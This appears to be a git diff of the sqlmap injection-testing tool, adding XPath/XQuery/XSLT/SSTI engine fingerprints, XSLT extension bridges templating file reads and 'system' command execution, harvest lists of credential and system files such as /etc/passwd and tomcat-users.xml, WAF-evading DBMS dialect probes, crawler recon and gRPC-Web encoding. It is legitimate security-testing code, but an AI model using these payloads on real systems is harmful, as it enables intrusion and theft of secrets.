failed"), +) + +XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds bisected during XPath blind character extraction +XPATH_CHAR_MIN = 0x20 +XPATH_CHAR_MAX = 0x7e + +# Maximum tree depth for recursive XML walking during XPath blind extraction +XPATH_MAX_DEPTH = 32 + +# Upper bound for the value-length search during XPath blind extraction +XPATH_MAX_LENGTH = 256 + +# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer +# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is +# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not +# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba. +XQUERY_CAPABILITY_PROBES = ( + "string-join(('a','b'),'')='ab'", + "upper-case('a')='A'", + "matches('a','a')", +) + +# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind +# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is +# handed an http:// URI). +XQUERY_FILE_READ = "unparsed-text(%s)" +XQUERY_MAX_FILE_LENGTH = 4096 + +# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every +# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the +# broad sweep an in-band engine can afford. +XQUERY_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/proc/self/environ", + "/proc/self/cmdline", + "c:/windows/win.ini", +) +# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about +# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target. +# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix +# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full +# XQUERY_MAX_FILE_LENGTH. +XQUERY_HARVEST_CHARS = 32 + +# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose +# output is fixed, so they double as the fingerprint when nothing can be reflected. +# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt +# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow +# the binding that actually tells the tester what they are talking to. +XSLT_ERROR_SIGNATURES = ( + ("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"), + # NOTE: XPathEvalError is raised by a plain tree.xpath() call, so it belongs to '--xpath'. lxml + # raises XSLTParseError / XSLTApplyError for a stylesheet + ("libxslt / lxml", r"lxml\.etree\.XSLT(?:Parse|Apply)?Error"), + # NOTE: Saxon is one product for XPath, XQuery and XSLT, so the package name alone proves nothing. + # Only the XSLT-exclusive evidence is kept (XTSE static / XTDE dynamic codes, the style package) + ("Saxon", r"(?:net\.sf\.saxon\.style\.|XTDE\d{4}|XTSE\d{4}|Failed to compile stylesheet)"), + # NOTE: only the 'Configuration' form is exclusive to a stylesheet. javax.xml.xpath wraps a plain + # XPath failure in a bare TransformerException, and a Xalan run-time failure names org.apache.xalan + ("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.TransformerConfigurationException|org\.apache\.xalan|XSLT Error)"), + (".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"), + # Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in + # checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures, + # which would suggest '--xslt' on targets that have nothing to do with XSLT. + # NOTE: xmlXPathEval is the libxml2 XPath entry point, which '--xpath' owns. libxslt names the + # stylesheet file instead, and that is what tells the two apart + ("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsltLoadStylesheet|xsl:\w+ : |(?:runtime|compilation) error: file [^\n]{0,120}\.xsl)"), + ("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"), +) + +XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES) + +# system-property() names the processor from inside the transformation, so a response carrying it is the +# engine speaking rather than the application echoing. +XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version") + +# Extension bridges that turn XSLT injection into arbitrary file read and, on some engines, command +# execution. An injection has to land in the ELEMENT slot to reach one: the value slot cannot bind the +# namespace prefix the extension needs. function-available() is NOT trustworthy here (Xalan answers +# 'false' for a working java: call), so each read/exec bridge is confirmed by EVALUATION - a +# deterministic self-check whose result the application cannot produce by itself - not by asking whether +# the function "exists". Read/exec templates take one %s, an already-quoted XPath string literal. +XSLT_BRIDGE_PHP = "php" +XSLT_BRIDGE_JAVA = "java" + +# label, kind, ns-prefix, ns-uri, read-template, exec-template (None where that engine has no exec bridge) +XSLT_BRIDGES = ( + ("PHP registerPHPFunctions (php:function)", XSLT_BRIDGE_PHP, "php", "http://php.net/xsl", + "php:function('file_get_contents',%s)", "php:function('system',%s)"), + # Xalan is READ-ONLY here on purpose: java:...Scanner over a File reads any file reliably, but the + # java: bridge does not stringify a Process stdout back into the result tree, so Runtime.exec would + # run BLIND with no captured output - offering '--os-cmd' that silently returns nothing is worse than + # not offering it (a destructive command would look like it never ran). Hence no exec template. + ("Xalan java: extension namespace", XSLT_BRIDGE_JAVA, "java", "http://xml.apache.org/xalan/java", + "java:next(java:useDelimiter(java:java.util.Scanner.new(java:java.io.File.new(%s)),'\\Z'))", + None), +) + +# File WRITE / eval surfaces that sqlmap reports but does NOT drive: exsl:document writes to the target +# filesystem (destructive, '--file-write' territory) and saxon:eval needs Saxon-PE/EE. Their mere +# availability is the finding. Each is (label, boolean XPath self-check that answers 'true'). +XSLT_ADVISORY_PROBES = ( + ("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"), + ("Saxon saxon:eval", "string(function-available('saxon:eval'))"), +) + +XSLT_MAX_FILE_LENGTH = 65536 + +# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+ +# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so +# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base). +XSLT_XML_HARVEST = ( + "/var/www/html/WEB-INF/web.xml", + "/usr/local/tomcat/conf/tomcat-users.xml", + "/usr/local/tomcat/conf/server.xml", + "/opt/tomcat/conf/tomcat-users.xml", + "/etc/tomcat/tomcat-users.xml", + "c:/inetpub/wwwroot/web.config", + "c:/windows/system32/inetsrv/config/applicationHost.config", +) + +# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests. +XSLT_MAX_HARVEST = 12 + +# SSTI error signatures per template engine for detection and fingerprinting. +# Each tuple is (engine_name, regex_fragment). +SSTI_ERROR_SIGNATURES = ( + ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"), + # NOTE: 'at line: N char: N' (with those colons) is how Mako, and only Mako, points at the fault + ("Mako", r"mako\.exceptions\.\w+|at line: \d+ char: \d+"), + # NOTE: Twig quotes the offending name ('Unknown "upper" filter'). Without the quotes this also + # matched the 'Unknown function' of Neo4j and Cassandra, which suggested '--ssti' on a NoSQL error + ("Twig", "Twig[\\\\_]Error|Twig[\\\\_]Environment|Unknown \"[^\"]+\" (?:filter|function|test|tag)"), + # NOTE: a bare 'ParseException' is not Freemarker. It also matched java.text.ParseException, + # org.xml.sax.SAXParseException and REXML::ParseException. The package prefix is always present + ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|InvalidReferenceException|TemplateException"), + ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), + ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), + ("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"), + ("ERB", r"\(erb\):\d+|NameError[^\n]{0,100}?undefined local variable"), + # NOTE: these must stay anchored to a diagnostic. The bare product names matched any page that + # carries the word 'pug'/'jade'/'handlebars' (a surname, a colour, a ", content): + body = script.group(1)[:MAX_JAVASCRIPT_MINE_SIZE - inlineSize] + inline.append(body) + inlineSize += len(body) + if inlineSize >= MAX_JAVASCRIPT_MINE_SIZE: + break + if inline: + consume(_mineJavaScript("\n".join(inline), linkBase)) except UnicodeEncodeError: # for non-HTML files pass except ValueError: # for non-valid links @@ -130,7 +322,7 @@ def crawlThread(): pass finally: if conf.forms: - threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0 + threadData.shared.formsFound |= len(findPageForms(content, linkBase, False, True)) > 0 if conf.verbose in (1, 2): threadData.shared.count += 1 @@ -148,32 +340,97 @@ def crawlThread(): if re.search(r"\?.*\b\w+=", target): threadData.shared.value.add(target) + # host-level recon (robots.txt + well-known endpoint directories) is done at most once per host so a + # multi-target run does not re-probe (and re-404) the same host over and over + _split = _urllib.parse.urlsplit(target) + crawlHost = ("%s://%s" % (_split.scheme, _split.netloc)).lower() # scheme+netloc dedup key (finer than the host-level scope predicate on purpose - never re-probe the same origin) + with kb.locks.value: # atomic check-and-claim so concurrent target crawls do not double-probe a host + reconHost = bool(_split.netloc) and crawlHost not in kb.crawledHosts + if reconHost: + kb.crawledHosts.add(crawlHost) + + # every sitemap source (robots.txt 'Sitemap:' lines AND the /sitemap.xml guess below) shares ONE fetch/URL + # budget and ONE visited set, so a hostile robots.txt advertising many roots cannot multiply the per-root + # limits into ~100k fetches, and a sitemap listed twice is fetched once + sitemapItems = OrderedSet() + sitemapVisited = set() + + # robots.txt Disallow/Allow entries expose unlinked paths (admin panels, API roots) that crawlers + # (Burp, Acunetix) routinely harvest as seeds; the file itself must be in scope before it is fetched + robotsUrl = _urllib.parse.urljoin(target, "/robots.txt") + try: + robots = Request.getPage(url=robotsUrl, post=None, cookie=cookie, crawling=True, raise404=False)[0] if (reconHost and _inScope(robotsUrl, target)) else None + except Exception: + robots = None + if isinstance(robots, six.text_type): + # ONE combined budget across Disallow/Allow and Sitemap lines, consumed lazily (islice over finditer) + # so a huge/repetitive robots.txt is neither fully materialized nor over-processed + remaining = MAX_ROBOTS_ENTRIES + for match in islice(re.finditer(r"(?im)^\s*(?:dis)?allow\s*:\s*(/\S*)", robots), remaining): + remaining -= 1 + path = match.group(1) + if any(_ in path for _ in "*$"): # a pattern, not a concrete path + continue + url = _urllib.parse.urljoin(target, path) + if _inScope(url, target) and (extractRegexResult(r"\A[^?#]+\.(?P\w+)([?#]|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: + threadData.shared.unprocessed.add(url) + if re.search(r"\?.*\b\w+=", url): + threadData.shared.value.add(url) + + # follow the sitemaps robots.txt advertises into the SHARED budget/visited; the advertised URL AND every + # nested sitemap parseSitemap fetches recursively must pass the same scope predicate (enforced inside) + for match in islice(re.finditer(r"(?im)^\s*sitemap\s*:\s*(https?://\S+)", robots), max(remaining, 0)): + sitemapUrl = match.group(1) + if not _inScope(sitemapUrl, target): + continue + try: + parseSitemap(sitemapUrl, retVal=sitemapItems, visited=sitemapVisited, urlFilter=lambda _: _inScope(_, target)) + except Exception: + pass + + # heuristic path discovery from self-describing JSON documents (OIDC discovery, OpenAPI/Swagger). + # this mines endpoint-looking strings, NOT a full OpenAPI model - basePath/servers are not merged and + # $ref/examples are not resolved; '--openapi' does exact API enumeration + for path in (WELL_KNOWN_ENDPOINT_PATHS if reconHost else ()): + probe = _urllib.parse.urljoin(target, path) + if probe in visited or not _inScope(probe, target): + continue + visited.add(probe) + try: + blob = Request.getPage(url=probe, post=None, cookie=cookie, crawling=True, raise404=False)[0] + except Exception: + blob = None + if isinstance(blob, six.text_type) and blob[:64].lstrip()[:1] in ("{", "["): + for url, isTarget in _mineJavaScript(blob, probe): + if _inScope(url, target): + threadData.shared.unprocessed.add(url) + if isTarget: + threadData.shared.value.add(url) + if kb.checkSitemap is None: message = "do you want to check for the existence of " message += "site's sitemap(.xml) [y/N] " kb.checkSitemap = readInput(message, default='N', boolean=True) - if kb.checkSitemap: - found = True - items = None - url = _urllib.parse.urljoin(target, "/sitemap.xml") - try: - items = parseSitemap(url) + url = _urllib.parse.urljoin(target, "/sitemap.xml") + if kb.checkSitemap and _inScope(url, target): + try: # into the same shared budget/visited as the robots sitemaps + parseSitemap(url, retVal=sitemapItems, visited=sitemapVisited, urlFilter=lambda _: _inScope(_, target)) except SqlmapConnectionException as ex: if "page not found" in getSafeExString(ex): - found = False logger.warning("'sitemap.xml' not found") except: pass - finally: - if found: - if items: - for item in items: - if re.search(r"(.*?)\?(.+)", item): - threadData.shared.value.add(item) - if conf.crawlDepth > 1: - threadData.shared.unprocessed.update(items) - logger.info("%s links found" % ("no" if not items else len(items))) + + # single consumption of every sitemap-derived URL (already scope-filtered inside parseSitemap): a URL with + # GET parameters is a target, and - at depth > 1 - all are queued for further crawling + if sitemapItems: + for item in sitemapItems: + if re.search(r"\?.*\b\w+=", item): + threadData.shared.value.add(item) + if conf.crawlDepth > 1: + threadData.shared.unprocessed.add(item) + logger.info("%d link(s) found via sitemap(s)" % len(sitemapItems)) if not conf.bulkFile: infoMsg = "starting crawler for target URL '%s'" % target @@ -202,6 +459,7 @@ def crawlThread(): finally: clearConsoleLine(True) + threadData.crawlRedirectFilter = None if not threadData.shared.value: if not (conf.forms and threadData.shared.formsFound): @@ -221,22 +479,35 @@ def crawlThread(): kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True) if kb.normalizeCrawlingChoice: - seen = set() - results = OrderedSet() - - for target in kb.targets: - value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") - match = re.search(r"/[^/?]*\?.+\Z", value) - if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") - if '=' in key and key not in seen: - results.add(target) - seen.add(key) - - kb.targets = results + kb.targets = normalizeCrawlingResults(kb.targets) storeResultsToFile(kb.targets) +def normalizeCrawlingResults(targets): + """ + Collapses crawled targets that differ only in their parameter values (e.g. ?id=1 vs ?id=2), + keeping one representative per distinct endpoint+parameter-name shape + + >>> sorted(_[0] for _ in normalizeCrawlingResults([("http://h/users/edit?id=1", None, None, None, None), ("http://h/users/edit?id=2", None, None, None, None), ("http://h/products/edit?id=1", None, None, None, None)])) + ['http://h/products/edit?id=1', 'http://h/users/edit?id=1'] + """ + + seen = set() + results = OrderedSet() + + for target in targets: + value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") + # Note: key on the full path (not just the last segment) so distinct endpoints sharing an + # action name and parameters (e.g. /users/edit?id= vs /products/edit?id=) are not collapsed + match = re.search(r"\A[^?]+\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.add(target) + seen.add(key) + + return results + def storeResultsToFile(results): if not results: return diff --git a/lib/utils/dbwire.py b/lib/utils/dbwire.py new file mode 100644 index 00000000000..ce81a0fb20e --- /dev/null +++ b/lib/utils/dbwire.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import importlib +import logging + +import extra.dbwire + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Adapter exposing sqlmap's connector interface over a dependency-free 'extra/dbwire' pure-python + wire-protocol client. Used for '-d' when neither a native driver nor SQLAlchemy is available. + """ + + def __init__(self, module): + GenericConnector.__init__(self) + self._driver = importlib.import_module("extra.dbwire.%s" % module) + + def connect(self): + self.initConnection() + + try: + self.connector = self._driver.connect(host=self.hostname, port=self.port, user=self.user, password=self.password, database=self.db, connect_timeout=conf.timeout) + except extra.dbwire.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except extra.dbwire.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except extra.dbwire.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 51a9a23ea46..9bca3617c8c 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -38,7 +38,7 @@ def checkDependencies(): elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - __import__("kinterbasdb") + __import__("firebirdsql") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): @@ -83,38 +83,6 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-impacket') - try: - __import__("ntlm") - debugMsg = "'python-ntlm' third-party library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'python-ntlm' third-party library " - warnMsg += "if you plan to attack a web application behind NTLM " - warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" - logger.warning(warnMsg) - missing_libraries.add('python-ntlm') - - try: - __import__("httpx") - debugMsg = "'httpx[http2]' third-party library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'httpx[http2]' third-party library " - warnMsg += "if you plan to use HTTP version 2" - logger.warning(warnMsg) - missing_libraries.add('httpx[http2]') - - try: - __import__("websocket._abnf") - debugMsg = "'websocket-client' library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'websocket-client' third-party library " - warnMsg += "if you plan to attack a web application using WebSocket. " - warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" - logger.warning(warnMsg) - missing_libraries.add('websocket-client') - try: __import__("tkinter") debugMsg = "'tkinter' library is found" diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py new file mode 100644 index 00000000000..b76fcf058f2 --- /dev/null +++ b/lib/utils/dialect.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.request.inject import checkBooleanExpression + +# Operator/typing-dialect probes for a WAF-tolerant back-end DBMS heuristic, complementing +# heuristicCheckDbms() for when a WAF/IPS drops its SELECT/quote payloads. Each probe is fed to +# checkBooleanExpression() (appended as ... AND ()); all but catplus use only non-alphanumeric +# operators (WAF-friendly). Minimal set giving a collision-free signature to the classes below. +DIALECT_PROBES = ( + ("pow", "2^3=8"), # '^' is exponentiation + ("intdiv", "5/2=2"), # integer division + ("mod", "5%2=1"), # '%' modulo operator + ("bitor", "2|0=2"), # '|' bitwise-OR operator + ("xeq", "1^=2"), # '^=' not-equal operator + ("bslash", "5\\2=2"), # '\' integer division + ("catplus", "%sa%s+%sb%s=%sab%s" % ((SINGLE_QUOTE_MARKER,) * 6)), # '+' concatenates strings + ("numcat", "1||1=11"), # '||' concatenates with numeric coercion +) + +# Trust gate: a syntactically-invalid trailing-operator expression a real back-end can only read as +# FALSE. A noise/false-positive channel reads it TRUE, proving the oracle is untrustworthy -> None. +DIALECT_CANARY = "2+" + +# Reachability canaries for adversarial WAFs that selectively drop operator characters. A dropped probe +# reads FALSE, indistinguishable from a semantic FALSE, silently degrading the signature. Each canary +# embeds probe characters inside a string literal (semantically inert), so it is universally TRUE unless +# the WAF filters a character. The combined form is a fast path; on failure the per-char forms (via +# _reachCanary) locate the blocked bits, which _classify() then treats as unknown/wildcard. +_DIALECT_REACH_CHARS = (("^", (0, 4)), ("/", (1,)), ("%", (2,)), ("|", (3, 7)), ("\\", (5,)), ("+", (6,))) +_DIALECT_REACH_BODY = "a^b/c%d|e\\f+g" +DIALECT_REACH_CANARY = "%s%s%s=%s%s%s" % (SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER, SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER) + +# Exact operator-dialect signature -> back-end DBMS (strict whitelist). Any signature not listed - an +# unmeasured engine/version or a noise channel - returns None, so the heuristic never wrong-foots a scan. +# All rows are live-measured except Spanner (documentation-derived, tagged inline). +_SIGNATURE_DBMS = { + # pow intdiv mod bitor xeq bslash catplus numcat + (False, False, False, False, False, False, False, True): DBMS.INFORMIX, # Informix + (False, False, False, False, False, True, False, True): DBMS.CACHE, # InterSystems IRIS/Cache ('\' int-div) + (False, False, False, False, True, False, False, True): DBMS.ORACLE, # Oracle ('^=' not-equal) + (False, False, False, True, False, False, False, False): DBMS.SPANNER, # Google Cloud Spanner (only '|' works) - doc-derived, not live-tested + (False, False, True, False, False, False, False, True): DBMS.CLICKHOUSE, # ClickHouse (no bitwise-OR) + (False, False, True, True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB + (False, True, False, False, False, False, False, False): DBMS.DERBY, # Apache Derby + (False, True, False, False, False, False, True, False): DBMS.HSQLDB, # HSQLDB ('+' concat) + (False, True, False, False, True, False, False, True): DBMS.FIREBIRD, # Firebird ('^=') + (False, True, True, False, False, False, False, False): DBMS.PRESTO, # Presto / Trino + (False, True, True, False, False, False, False, True): DBMS.H2, # H2 + (False, True, True, True, False, False, False, False): DBMS.SQLITE, # SQLite + (False, True, True, True, False, False, False, True): DBMS.MONETDB, # MonetDB + (False, True, True, True, False, False, True, False): DBMS.MSSQL, # Microsoft SQL Server (2019 AND 2022) + (False, True, True, True, False, False, True, True): DBMS.CUBRID, # CUBRID (like MonetDB but '+' concat) + (False, True, True, True, True, False, False, True): DBMS.DB2, # IBM DB2 ('^=', no '<<'/'\') + (True, False, False, False, False, True, True, False): DBMS.ACCESS, # Microsoft Access (ACE/JET: '^' exp + '\' int-div + '+' concat) + (True, False, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL + (True, False, True, True, False, False, False, True): DBMS.VERTICA, # Vertica (pg-derived but numeric '||') + (True, False, True, True, True, False, False, True): DBMS.PGSQL, # openGauss (Oracle-compat '^=') + (True, True, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL / CrateDB variant + (True, True, True, True, False, False, False, True): DBMS.PGSQL, # PostgreSQL variant +} + +def _classify(signature, unknown=()): + """ + Maps an exact 8-bit operator/typing signature to a back-end DBMS via the strict whitelist, or None + when the signature is not a known fingerprint (unmeasured engine, or a noise/false-positive channel). + + 'unknown' holds bit indices whose probe character a WAF is dropping (so their FALSE is meaningless); + they are treated as wildcards and a DBMS is named only when the remaining trusted bits are unanimous, + which cannot misclassify (the true signature is always among the candidates). + + >>> _classify((False, False, True, True, False, False, True, True), unknown={2}) # MySQL, mod blocked -> still unique + 'MySQL' + >>> _classify((False, True, True, False, False, False, False, True), unknown={7}) is None # H2 vs Presto ambiguous -> None + True + >>> _classify((False, False, True, True, False, False, True, True)) # MySQL / MariaDB / TiDB + 'MySQL' + >>> _classify((False, True, True, True, False, False, True, False)) # Microsoft SQL Server (2019 and 2022) + 'Microsoft SQL Server' + >>> _classify((False, True, True, True, False, False, False, True)) # MonetDB + 'MonetDB' + >>> _classify((True, True, True, True, False, False, False, False)) # PostgreSQL / CrateDB + 'PostgreSQL' + >>> _classify((False, True, True, True, False, False, False, False)) # SQLite + 'SQLite' + >>> _classify((False, False, True, False, False, False, False, True)) # ClickHouse + 'ClickHouse' + >>> _classify((False, False, False, False, True, False, False, True)) # Oracle ('^=') + 'Oracle' + >>> _classify((False, False, False, False, False, True, False, True)) # InterSystems IRIS/Cache (Oracle but no '^=') + 'InterSystems Cache' + >>> _classify((False, True, False, False, True, False, False, True)) # Firebird + 'Firebird' + >>> _classify((False, True, False, False, False, False, False, False)) # Apache Derby + 'Apache Derby' + >>> _classify((True, False, False, False, False, True, True, False)) # Microsoft Access ('^' exp + '\' int-div) + 'Microsoft Access' + >>> _classify((False, False, False, True, False, False, False, False)) # Google Cloud Spanner (doc-derived: only '|' bitwise-OR) + 'Spanner' + >>> _classify((True, True, True, True, True, True, True, True)) is None # unmeasured / noise -> None + True + """ + + signature = tuple(bool(_) for _ in signature) + + if not unknown: + return _SIGNATURE_DBMS.get(signature) + + unknown = set(unknown) + candidates = set(dbms for sig, dbms in _SIGNATURE_DBMS.items() if all(sig[i] == signature[i] for i in range(len(signature)) if i not in unknown)) + + return next(iter(candidates)) if len(candidates) == 1 else None + +def _reachCanary(char): + lit = "%sx%sx%s" % (SINGLE_QUOTE_MARKER, char, SINGLE_QUOTE_MARKER) + return "%s=%s" % (lit, lit) + +def dialectCheckDbms(injection): + """ + Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the given + (boolean-capable) injection. Complements heuristicCheckDbms() (whose SELECT/quote payloads a WAF/IPS + may drop). Returns the DBMS name, or None for an ambiguous, WAF-blocked or false-positive channel. + """ + + retVal = None + + if conf.skipHeuristics: + return retVal + + pushValue(kb.injection) + kb.injection = injection + + try: + # trust gate: a real oracle reads the tautology TRUE, the contradiction FALSE, the invalid + # canary FALSE. A noise channel reads them alike (canary TRUE) -> skip rather than guess. + if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY): + signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) + + # detect WAF-dropped probe characters (a dropped probe reads FALSE); mark their bits unknown + unknown = set() + if not checkBooleanExpression(DIALECT_REACH_CANARY): + for char, bits in _DIALECT_REACH_CHARS: + if not checkBooleanExpression(_reachCanary(char)): + unknown.update(bits) + + retVal = _classify(signature, unknown) + finally: + kb.injection = popValue() + + if retVal and not Backend.getIdentifiedDbms(): + infoMsg = "heuristic (dialect) test shows that the back-end DBMS could be '%s'" % retVal + logger.info(infoMsg) + + return retVal diff --git a/lib/utils/grpcweb.py b/lib/utils/grpcweb.py new file mode 100644 index 00000000000..f1a319c18b0 --- /dev/null +++ b/lib/utils/grpcweb.py @@ -0,0 +1,297 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import re +import struct + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves.urllib.parse import unquote + +# gRPC-Web body support (grpc-web-text / base64, unary only). A gRPC-Web message is a length-prefixed +# protobuf frame; grpc-web-text is that frame base64-encoded. Because protobuf is length-prefixed and +# sqlmap injects by appending, the body is decoded to a JSON view of its (heuristically-detected) string +# fields so the existing JSON injection engine handles marking/placement, then re-encoded with corrected +# length prefixes at send time (see connect.py). NOT supported (deliberately not detected, never +# corrupted): binary application/grpc-web+proto, compression (grpc-encoding), and streaming. + +CONTENT_TYPE = "application/grpc-web-text" +CONTENT_TYPE_PROTO = "application/grpc-web-text+proto" # equivalent spelling (message format hint) +_MAX_VARINT_BYTES = 10 # a 64-bit varint is at most 10 bytes +_MAX_FIELD_NUMBER = 0x1fffffff # protobuf maximum field number (2**29 - 1) +_BASE64_QUANTUM_REGEX = re.compile(r"\A(?:[A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)\Z") + +def _b64decode(text): + # strict, py2/py3-safe (no 'validate=' kwarg): reject whitespace/invalid chars, but decode per 4-char + # quantum so INDEPENDENTLY-padded base64 chunks (allowed even for a unary text response) reconstruct + # correctly - a mid-stream padded quantum is fine, arbitrary mid-stream padding chars are not + if isinstance(text, bytes): + text = text.decode("ascii") + if len(text) % 4 != 0: + raise ValueError("invalid base64 length") + out = bytearray() + for offset in range(0, len(text), 4): + quantum = text[offset:offset + 4] + if not _BASE64_QUANTUM_REGEX.match(quantum): + raise ValueError("invalid base64") + out += base64.b64decode(quantum) + return bytes(out) + +def _readVarint(buf, pos): + shift = result = 0 + start = pos + while True: + if pos >= len(buf): + raise ValueError("truncated varint") + b = buf[pos] if isinstance(buf[pos], int) else ord(buf[pos]) + pos += 1 + result |= (b & 0x7f) << shift + if not (b & 0x80): + if result >= (1 << 64): + raise ValueError("varint exceeds 64 bits") + return result, pos + shift += 7 + if pos - start >= _MAX_VARINT_BYTES: + raise ValueError("overlong varint") + +def _writeVarint(n): + out = bytearray() + while True: + b = n & 0x7f + n >>= 7 + out.append(b | 0x80 if n else b) + if not n: + return bytes(out) + +def _readExact(buf, pos, length): + end = pos + length + if length < 0 or end > len(buf): + raise ValueError("truncated protobuf field") + return buf[pos:end], end + +def _decode(buf): + buf = bytes(buf) + pos = 0 + out = [] + while pos < len(buf): + tag, pos = _readVarint(buf, pos) + fn, wt = tag >> 3, tag & 7 + if fn == 0 or fn > _MAX_FIELD_NUMBER: + raise ValueError("invalid field number %d" % fn) + if wt == 0: + val, pos = _readVarint(buf, pos) + elif wt == 1: + val, pos = _readExact(buf, pos, 8) + elif wt == 2: + ln, pos = _readVarint(buf, pos) + val, pos = _readExact(buf, pos, ln) + elif wt == 5: + val, pos = _readExact(buf, pos, 4) + else: + raise ValueError("unsupported wire type %d" % wt) + out.append([fn, wt, val]) + return out + +def _encode(fields): + out = bytearray() + for fn, wt, val in fields: + 